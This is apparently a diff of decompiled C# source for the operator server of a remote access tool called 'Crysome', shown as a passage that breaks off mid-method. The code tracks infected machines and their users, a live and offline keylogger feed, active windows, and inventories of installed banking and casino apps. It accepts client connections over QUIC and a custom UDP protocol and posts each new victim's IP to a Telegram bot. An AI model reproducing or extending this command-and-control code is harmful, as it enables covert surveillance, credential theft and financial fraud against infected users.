||||
{
|
||||
get
|
||||
{
|
||||
return _port;
|
||||
}
|
||||
set
|
||||
{
|
||||
_port = value;
|
||||
Notify("Port");
|
||||
}
|
||||
}
|
||||
|
||||
public string Username
|
||||
{
|
||||
get
|
||||
{
|
||||
return _username;
|
||||
}
|
||||
set
|
||||
{
|
||||
_username = value;
|
||||
Notify("Username");
|
||||
}
|
||||
}
|
||||
|
||||
public string ComputerName
|
||||
{
|
||||
get
|
||||
{
|
||||
return _computerName;
|
||||
}
|
||||
set
|
||||
{
|
||||
_computerName = value;
|
||||
Notify("ComputerName");
|
||||
}
|
||||
}
|
||||
|
||||
public string OS
|
||||
{
|
||||
get
|
||||
{
|
||||
return _os;
|
||||
}
|
||||
set
|
||||
{
|
||||
_os = value;
|
||||
Notify("OS");
|
||||
}
|
||||
}
|
||||
|
||||
public string ActiveWindow
|
||||
{
|
||||
get
|
||||
{
|
||||
return _activeWindow;
|
||||
}
|
||||
set
|
||||
{
|
||||
_activeWindow = value;
|
||||
Notify("ActiveWindow");
|
||||
}
|
||||
}
|
||||
|
||||
public string Uptime
|
||||
{
|
||||
get
|
||||
{
|
||||
return _uptime;
|
||||
}
|
||||
set
|
||||
{
|
||||
_uptime = value;
|
||||
Notify("Uptime");
|
||||
}
|
||||
}
|
||||
|
||||
public string CountryCode
|
||||
{
|
||||
get
|
||||
{
|
||||
return _countryCode;
|
||||
}
|
||||
set
|
||||
{
|
||||
_countryCode = value;
|
||||
Notify("CountryCode");
|
||||
FlagImage = FlagCache.Get((value ?? "").Trim().ToUpperInvariant());
|
||||
}
|
||||
}
|
||||
|
||||
public BitmapImage FlagImage
|
||||
{
|
||||
get
|
||||
{
|
||||
return _flagImage;
|
||||
}
|
||||
set
|
||||
{
|
||||
_flagImage = value;
|
||||
Notify("FlagImage");
|
||||
}
|
||||
}
|
||||
|
||||
public string Group
|
||||
{
|
||||
get
|
||||
{
|
||||
return _group;
|
||||
}
|
||||
set
|
||||
{
|
||||
_group = value;
|
||||
Notify("Group");
|
||||
}
|
||||
}
|
||||
|
||||
public string GPU
|
||||
{
|
||||
get
|
||||
{
|
||||
return _gpu;
|
||||
}
|
||||
set
|
||||
{
|
||||
_gpu = value;
|
||||
Notify("GPU");
|
||||
}
|
||||
}
|
||||
|
||||
public string Notes
|
||||
{
|
||||
get
|
||||
{
|
||||
return _notes;
|
||||
}
|
||||
set
|
||||
{
|
||||
_notes = value;
|
||||
Notify("Notes");
|
||||
}
|
||||
}
|
||||
|
||||
public bool ProxyActive
|
||||
{
|
||||
get
|
||||
{
|
||||
return _proxyActive;
|
||||
}
|
||||
set
|
||||
{
|
||||
_proxyActive = value;
|
||||
Notify("ProxyActive");
|
||||
Notify("ProxyStatus");
|
||||
}
|
||||
}
|
||||
|
||||
public string ProxyStatus
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!_proxyActive)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return "TRUE";
|
||||
}
|
||||
}
|
||||
|
||||
public int PingValue
|
||||
{
|
||||
get
|
||||
{
|
||||
return _pingValue;
|
||||
}
|
||||
set
|
||||
{
|
||||
_pingValue = value;
|
||||
Notify("PingValue");
|
||||
Notify("PingDisplay");
|
||||
}
|
||||
}
|
||||
|
||||
public string PingDisplay
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_pingValue < 0 || _pingSampleCount <= 0)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return _pingValue + " ms";
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsPinned
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isPinned;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isPinned = value;
|
||||
Notify("IsPinned");
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsAnnounce
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isAnnounce;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isAnnounce = value;
|
||||
Notify("IsAnnounce");
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsMuted
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isMuted;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isMuted = value;
|
||||
Notify("IsMuted");
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime MuteUntil
|
||||
{
|
||||
get
|
||||
{
|
||||
return _muteUntil;
|
||||
}
|
||||
set
|
||||
{
|
||||
_muteUntil = value;
|
||||
Notify("MuteUntil");
|
||||
}
|
||||
}
|
||||
|
||||
public string AppsInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _appsInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_appsInventoryJson = value ?? "";
|
||||
Notify("AppsInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public string BankInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _bankInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_bankInventoryJson = value ?? "";
|
||||
Notify("BankInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public string CasinoInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _casinoInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_casinoInventoryJson = value ?? "";
|
||||
Notify("CasinoInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public bool KeyloggerActive
|
||||
{
|
||||
get
|
||||
{
|
||||
return _keyloggerActive;
|
||||
}
|
||||
set
|
||||
{
|
||||
_keyloggerActive = value;
|
||||
Notify("KeyloggerActive");
|
||||
Notify("KeyloggerStatus");
|
||||
}
|
||||
}
|
||||
|
||||
public string KeyloggerStatus
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!_keyloggerActive)
|
||||
{
|
||||
return "No";
|
||||
}
|
||||
return "Live";
|
||||
}
|
||||
}
|
||||
|
||||
public string OfflineKeylogData => _offlineKeylogBuffer.ToString();
|
||||
|
||||
public ObservableCollection<InventoryDot> AppInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public ObservableCollection<InventoryDot> BankInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public ObservableCollection<InventoryDot> CasinoInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public event PropertyChangedEventHandler PropertyChanged;
|
||||
|
||||
private void Notify([CallerMemberName] string name = null)
|
||||
{
|
||||
this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
|
||||
}
|
||||
|
||||
public void AppendOfflineKeylog(string data)
|
||||
{
|
||||
_offlineKeylogBuffer.Append(data);
|
||||
Notify("OfflineKeylogData");
|
||||
}
|
||||
|
||||
public void ApplyInventoryJson(string appsJson, string bankJson, string casinoJson = null)
|
||||
{
|
||||
AppsInventoryJson = appsJson ?? "";
|
||||
BankInventoryJson = bankJson ?? "";
|
||||
CasinoInventoryJson = casinoJson ?? "";
|
||||
AppInventoryDots.Clear();
|
||||
BankInventoryDots.Clear();
|
||||
CasinoInventoryDots.Clear();
|
||||
FillInventoryDots(appsJson, AppInventoryDots, "app");
|
||||
FillInventoryDots(bankJson, BankInventoryDots, "bank");
|
||||
FillInventoryDots(casinoJson, CasinoInventoryDots, "casino");
|
||||
}
|
||||
|
||||
private static void FillInventoryDots(string json, ObservableCollection<InventoryDot> target, string kind)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(json);
|
||||
if (!jsonDocument.RootElement.TryGetProperty("items", out var value))
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (JsonElement item in value.EnumerateArray())
|
||||
{
|
||||
JsonElement value2;
|
||||
string text = (item.TryGetProperty("id", out value2) ? value2.GetString() : "?");
|
||||
JsonElement value3;
|
||||
bool present = item.TryGetProperty("present", out value3) && value3.ValueKind == JsonValueKind.True;
|
||||
BitmapImage icon = ((kind == "app") ? InventoryIconCache.GetApp(text) : ((kind == "bank") ? InventoryIconCache.GetBank(text) : InventoryIconCache.GetCasino(text)));
|
||||
target.Add(new InventoryDot
|
||||
{
|
||||
Id = (text ?? "?"),
|
||||
Present = present,
|
||||
Icon = icon
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void AddPingSample(int rtt)
|
||||
{
|
||||
_pingSamples[_pingSampleIdx] = rtt;
|
||||
_pingSampleIdx = (_pingSampleIdx + 1) % 4;
|
||||
if (_pingSampleCount < 4)
|
||||
{
|
||||
_pingSampleCount++;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < _pingSampleCount; i++)
|
||||
{
|
||||
num += _pingSamples[i];
|
||||
}
|
||||
PingValue = num / _pingSampleCount;
|
||||
}
|
||||
|
||||
public bool CheckMuteExpired()
|
||||
{
|
||||
if (_isMuted && DateTime.Now >= _muteUntil)
|
||||
{
|
||||
_isMuted = false;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public static class FlagCache
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> _cache = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
public static int Count => _cache.Count;
|
||||
|
||||
public static string DebugInfo { get; private set; } = "";
|
||||
|
||||
public static BitmapImage Get(string code)
|
||||
{
|
||||
if (!_loaded)
|
||||
{
|
||||
Load();
|
||||
}
|
||||
if (_cache.TryGetValue(code, out var value))
|
||||
{
|
||||
return value;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void Load()
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("BaseDir: " + baseDirectory);
|
||||
string[] array = new string[4]
|
||||
{
|
||||
Path.Combine(baseDirectory, "flags"),
|
||||
baseDirectory,
|
||||
Path.Combine(baseDirectory, "icons"),
|
||||
Path.Combine(baseDirectory, "icons", "flags")
|
||||
};
|
||||
foreach (string text in array)
|
||||
{
|
||||
bool flag = Directory.Exists(text);
|
||||
stringBuilder.AppendLine("Search: " + text + " -> " + (flag ? "EXISTS" : "NOT FOUND"));
|
||||
if (!flag)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] files = Directory.GetFiles(text, "*.png");
|
||||
int num = 0;
|
||||
string[] array2 = files;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
string text3 = Path.GetFileNameWithoutExtension(text2).ToUpperInvariant();
|
||||
if (!text3.Contains("@") && text3.Length == 2 && !_cache.ContainsKey(text3))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = File.ReadAllBytes(text2);
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(buffer);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
_cache[text3] = bitmapImage;
|
||||
num++;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilder.AppendLine("FAIL: " + text2 + " -> " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
stringBuilder.AppendLine("Loaded " + num + " flags from " + text);
|
||||
if (num > 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
stringBuilder.AppendLine("Total flags: " + _cache.Count);
|
||||
DebugInfo = stringBuilder.ToString();
|
||||
try
|
||||
{
|
||||
File.WriteAllText(Path.Combine(baseDirectory, "flag_debug.log"), DebugInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class InventoryDot
|
||||
{
|
||||
public string Id { get; set; }
|
||||
|
||||
public bool Present { get; set; }
|
||||
|
||||
public BitmapImage Icon { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public static class InventoryIconCache
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> _apps = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static readonly Dictionary<string, BitmapImage> _banks = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static readonly Dictionary<string, BitmapImage> _casinos = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
private static readonly object _loadLock = new object();
|
||||
|
||||
public static BitmapImage GetApp(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_apps.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
public static BitmapImage GetBank(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_banks.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
public static BitmapImage GetCasino(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_casinos.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
private static void EnsureLoaded()
|
||||
{
|
||||
if (_loaded)
|
||||
{
|
||||
return;
|
||||
}
|
||||
lock (_loadLock)
|
||||
{
|
||||
if (!_loaded)
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "apps"), _apps);
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "banks"), _banks);
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "casinos"), _casinos);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void LoadFromDir(string dir, Dictionary<string, BitmapImage> cache)
|
||||
{
|
||||
if (!Directory.Exists(dir))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] files = Directory.GetFiles(dir, "*.png");
|
||||
foreach (string path in files)
|
||||
{
|
||||
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(path);
|
||||
if (!cache.ContainsKey(fileNameWithoutExtension))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = File.ReadAllBytes(path);
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(buffer);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
cache[fileNameWithoutExtension] = bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class LogLineEntry
|
||||
{
|
||||
public string TimeText { get; set; }
|
||||
|
||||
public string Category { get; set; }
|
||||
|
||||
public string Message { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
string text = (string.IsNullOrEmpty(Category) ? "" : (" [" + Category + "]"));
|
||||
return "[" + TimeText + "]" + text + " " + Message;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
using Crysome.Common.Network;
|
||||
|
||||
namespace Crysome.Server.Network;
|
||||
|
||||
public class ClientEventArgs : EventArgs
|
||||
{
|
||||
public CrysomeClient Client { get; set; }
|
||||
|
||||
public ClientEventArgs(CrysomeClient client)
|
||||
{
|
||||
Client = client;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,430 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.Http;
|
||||
using System.Net.Quic;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Transport;
|
||||
using Crysome.Server.Data;
|
||||
|
||||
namespace Crysome.Server.Network;
|
||||
|
||||
public class CrysomeServer
|
||||
{
|
||||
public readonly PacketChannel PacketChannel;
|
||||
|
||||
private QuicListener _listener;
|
||||
|
||||
private CancellationTokenSource _cts;
|
||||
|
||||
private Task _acceptTask;
|
||||
|
||||
private X509Certificate2 _serverCert;
|
||||
|
||||
private UdpClient _legacySock;
|
||||
|
||||
private Task _legacyTask;
|
||||
|
||||
private readonly ConcurrentDictionary<CrysomeClient, string> _clientKeys = new ConcurrentDictionary<CrysomeClient, string>();
|
||||
|
||||
private readonly ConcurrentDictionary<uint, CrysomeClient> _legacySessions = new ConcurrentDictionary<uint, CrysomeClient>();
|
||||
|
||||
private readonly ConcurrentDictionary<uint, string> _legacySessionKeys = new ConcurrentDictionary<uint, string>();
|
||||
|
||||
private int _nextUdpToken = 1;
|
||||
|
||||
private readonly ConcurrentDictionary<uint, CrysomeClient> _udpSessionMap = new ConcurrentDictionary<uint, CrysomeClient>();
|
||||
|
||||
public ConcurrentDictionary<string, CrysomeClient> ConnectedClients { get; private set; }
|
||||
|
||||
public bool Listening { get; private set; }
|
||||
|
||||
public int Port { get; set; } = 7777;
|
||||
|
||||
public int QuicPort { get; set; } = 7778;
|
||||
|
||||
public AppDataStore Store { get; set; }
|
||||
|
||||
public int ClientCount => ConnectedClients.Count;
|
||||
|
||||
public event EventHandler<PacketEventArgs> PacketReceived;
|
||||
|
||||
public event EventHandler<ClientEventArgs> ClientConnected;
|
||||
|
||||
public event EventHandler<ClientEventArgs> ClientDisconnected;
|
||||
|
||||
public event EventHandler<UdpFrameEventArgs> UdpFrameReceived;
|
||||
|
||||
public CrysomeServer()
|
||||
{
|
||||
PacketChannel = new PacketChannel();
|
||||
ConnectedClients = new ConcurrentDictionary<string, CrysomeClient>();
|
||||
}
|
||||
|
||||
public uint RegisterUdpSession(CrysomeClient client)
|
||||
{
|
||||
uint num = (uint)Interlocked.Increment(ref _nextUdpToken);
|
||||
_udpSessionMap[num] = client;
|
||||
client.UdpSessionToken = num;
|
||||
return num;
|
||||
}
|
||||
|
||||
public void UnregisterUdpSession(CrysomeClient client)
|
||||
{
|
||||
if (client != null && client.UdpSessionToken != 0)
|
||||
{
|
||||
_udpSessionMap.TryRemove(client.UdpSessionToken, out var _);
|
||||
}
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
if (Listening)
|
||||
{
|
||||
Stop();
|
||||
}
|
||||
bool num = QuicPort > 0;
|
||||
bool flag = Port > 0;
|
||||
if (!num && !flag)
|
||||
{
|
||||
throw new InvalidOperationException("At least one of Port (RUDP) or QuicPort (QUIC) must be greater than 0.");
|
||||
}
|
||||
_cts = new CancellationTokenSource();
|
||||
if (num)
|
||||
{
|
||||
if (!QuicListener.IsSupported)
|
||||
{
|
||||
if (!flag)
|
||||
{
|
||||
throw new InvalidOperationException("QUIC listener is not supported. Use Windows 11 / Server 2022 or newer with MsQuic enabled, or set QuicPort to 0 and use RUDP only on Port.");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_serverCert = QuicCertificateHelper.CreateServerCertificate();
|
||||
_listener = QuicTransportSession.StartListenerAsync(QuicPort, _serverCert, _cts.Token).GetAwaiter().GetResult();
|
||||
}
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
_legacySock = new UdpClient(Port);
|
||||
_legacySock.Client.ReceiveBufferSize = 8388608;
|
||||
_legacySock.Client.SendBufferSize = 8388608;
|
||||
_legacyTask = Task.Run(() => LegacyReceiveLoop(_cts.Token));
|
||||
}
|
||||
Listening = true;
|
||||
if (_listener != null)
|
||||
{
|
||||
_acceptTask = Task.Run(() => AcceptLoopAsync(_cts.Token));
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
Listening = false;
|
||||
try
|
||||
{
|
||||
_cts?.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_listener?.DisposeAsync().AsTask().Wait(3000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_listener = null;
|
||||
try
|
||||
{
|
||||
_legacySock?.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_legacySock = null;
|
||||
foreach (KeyValuePair<string, CrysomeClient> connectedClient in ConnectedClients)
|
||||
{
|
||||
try
|
||||
{
|
||||
connectedClient.Value.Disconnect();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
ConnectedClients.Clear();
|
||||
_clientKeys.Clear();
|
||||
_legacySessions.Clear();
|
||||
_legacySessionKeys.Clear();
|
||||
_udpSessionMap.Clear();
|
||||
}
|
||||
|
||||
private async Task LegacyReceiveLoop(CancellationToken ct)
|
||||
{
|
||||
uint sessionId = default(uint);
|
||||
byte b = default(byte);
|
||||
uint num = default(uint);
|
||||
uint num2 = default(uint);
|
||||
ushort num3 = default(ushort);
|
||||
ushort num4 = default(ushort);
|
||||
byte b2 = default(byte);
|
||||
while (!ct.IsCancellationRequested && Listening && _legacySock != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
UdpReceiveResult udpReceiveResult = await _legacySock.ReceiveAsync().ConfigureAwait(continueOnCapturedContext: false);
|
||||
byte[] buffer = udpReceiveResult.Buffer;
|
||||
if (!RudpChannel.ParseHeader(buffer, buffer.Length, out sessionId, out b, out num, out num2, out num3, out num4, out b2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (_legacySessions.TryGetValue(sessionId, out var client))
|
||||
{
|
||||
goto IL_0275;
|
||||
}
|
||||
if ((b & 9) == 0 || sessionId == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
RudpChannel val = new RudpChannel(sessionId, udpReceiveResult.RemoteEndPoint, _legacySock);
|
||||
val.UnreliableFrameReceived += delegate(byte typeId, byte[] data)
|
||||
{
|
||||
if (_legacySessions.TryGetValue(sessionId, out var value))
|
||||
{
|
||||
try
|
||||
{
|
||||
this.UdpFrameReceived?.Invoke(this, new UdpFrameEventArgs(value, typeId, data));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
};
|
||||
val.Disconnected += delegate
|
||||
{
|
||||
LegacyClientGone(sessionId);
|
||||
};
|
||||
val.Start();
|
||||
client = new CrysomeClient(val);
|
||||
string key = Guid.NewGuid().ToString("N");
|
||||
_legacySessions[sessionId] = client;
|
||||
_legacySessionKeys[sessionId] = key;
|
||||
ConnectedClients[key] = client;
|
||||
Task.Run(delegate
|
||||
{
|
||||
ClientReadLoop(key, client, ct);
|
||||
}, ct);
|
||||
OnClientConnected(client);
|
||||
goto IL_0275;
|
||||
IL_0275:
|
||||
CrysomeClient obj = client;
|
||||
if (obj != null)
|
||||
{
|
||||
RudpChannel rudpChannel = obj.GetRudpChannel();
|
||||
if (rudpChannel != null)
|
||||
{
|
||||
rudpChannel.FeedDatagram(buffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void LegacyClientGone(uint sessionId)
|
||||
{
|
||||
if (_legacySessions.TryRemove(sessionId, out var value))
|
||||
{
|
||||
if (_legacySessionKeys.TryRemove(sessionId, out var value2))
|
||||
{
|
||||
ConnectedClients.TryRemove(value2, out var _);
|
||||
}
|
||||
UnregisterUdpSession(value);
|
||||
OnClientDisconnected(value);
|
||||
}
|
||||
}
|
||||
|
||||
private async Task AcceptLoopAsync(CancellationToken ct)
|
||||
{
|
||||
while (!ct.IsCancellationRequested && Listening && _listener != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
QuicConnection conn = await _listener.AcceptConnectionAsync(ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
Task.Run(() => HandleConnectionAsync(conn, ct), ct);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async Task HandleConnectionAsync(QuicConnection conn, CancellationToken ct)
|
||||
{
|
||||
QuicTransportSession session = null;
|
||||
CrysomeClient client = null;
|
||||
string key = null;
|
||||
try
|
||||
{
|
||||
session = await QuicTransportSession.AcceptServerAsync(conn, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
client = new CrysomeClient((ITransportSession)(object)session, true);
|
||||
key = Guid.NewGuid().ToString("N");
|
||||
_clientKeys[client] = key;
|
||||
ConnectedClients[key] = client;
|
||||
session.UnreliableFrameReceived += delegate(byte typeId, byte[] data)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.UdpFrameReceived?.Invoke(this, new UdpFrameEventArgs(client, typeId, data));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
};
|
||||
Task.Run(delegate
|
||||
{
|
||||
ClientReadLoop(key, client, ct);
|
||||
}, ct);
|
||||
OnClientConnected(client);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
QuicTransportSession obj2 = session;
|
||||
if (obj2 != null)
|
||||
{
|
||||
obj2.Dispose();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (client != null && key != null)
|
||||
{
|
||||
ClientGone(client, key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ClientGone(CrysomeClient client, string key)
|
||||
{
|
||||
if (client == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
CrysomeClient value;
|
||||
string value2;
|
||||
foreach (KeyValuePair<uint, CrysomeClient> legacySession in _legacySessions)
|
||||
{
|
||||
if (legacySession.Value == client)
|
||||
{
|
||||
_legacySessions.TryRemove(legacySession.Key, out value);
|
||||
_legacySessionKeys.TryRemove(legacySession.Key, out value2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
_clientKeys.TryRemove(client, out value2);
|
||||
if (key != null)
|
||||
{
|
||||
ConnectedClients.TryRemove(key, out value);
|
||||
}
|
||||
UnregisterUdpSession(client);
|
||||
OnClientDisconnected(client);
|
||||
}
|
||||
|
||||
private void ClientReadLoop(string key, CrysomeClient client, CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!ct.IsCancellationRequested && client.IsConnected)
|
||||
{
|
||||
IPacket packet = client.ReadPacket();
|
||||
OnPacketReceived(client, packet);
|
||||
}
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
ClientGone(client, key);
|
||||
}
|
||||
}
|
||||
|
||||
public void DisconnectClient(CrysomeClient client)
|
||||
{
|
||||
if (client == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public List<CrysomeClient> GetClientSnapshot()
|
||||
{
|
||||
return new List<CrysomeClient>(ConnectedClients.Values);
|
||||
}
|
||||
|
||||
private void OnClientConnected(CrysomeClient client)
|
||||
{
|
||||
this.ClientConnected?.Invoke(this, new ClientEventArgs(client));
|
||||
if (Store == null || !Store.Settings.TelegramEnabled || string.IsNullOrEmpty(Store.Settings.TelegramToken) || string.IsNullOrEmpty(Store.Settings.TelegramChatId))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string ip = client.RemoteAddress?.Address?.ToString() ?? "Unknown";
|
||||
Task.Run(async delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
string stringToEscape = "\ud83d\udd14 *New Client Connected*\nIP: " + ip;
|
||||
string requestUri = $"https://api.telegram.org/bot{Store.Settings.TelegramToken}/sendMessage?chat_id={Store.Settings.TelegramChatId}&text={Uri.EscapeDataString(stringToEscape)}&parse_mode=Markdown";
|
||||
using HttpClient hc = new HttpClient();
|
||||
await hc.GetAsync(requestUri);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void OnClientDisconnected(CrysomeClient client)
|
||||
{
|
||||
this.ClientDisconnected?.Invoke(this, new ClientEventArgs(client));
|
||||
}
|
||||
|
||||
private void OnPacketReceived(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
this.PacketReceived?.Invoke(this, new PacketEventArgs(client, packet));
|
||||
PacketChannel.HandlePacket(client, packet);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Server.Network;
|
||||
|
||||
public class PacketChannel
|
||||
{
|
||||
public readonly Dictionary<Type, Action<CrysomeClient, IPacket>> Handlers;
|
||||
|
||||
public PacketChannel()
|
||||
{
|
||||
Handlers = new Dictionary<Type, Action<CrysomeClient, IPacket>>();
|
||||
}
|
||||
|
||||
public void HandlePacket(CrysomeClient sender, IPacket packet)
|
||||
{
|
||||
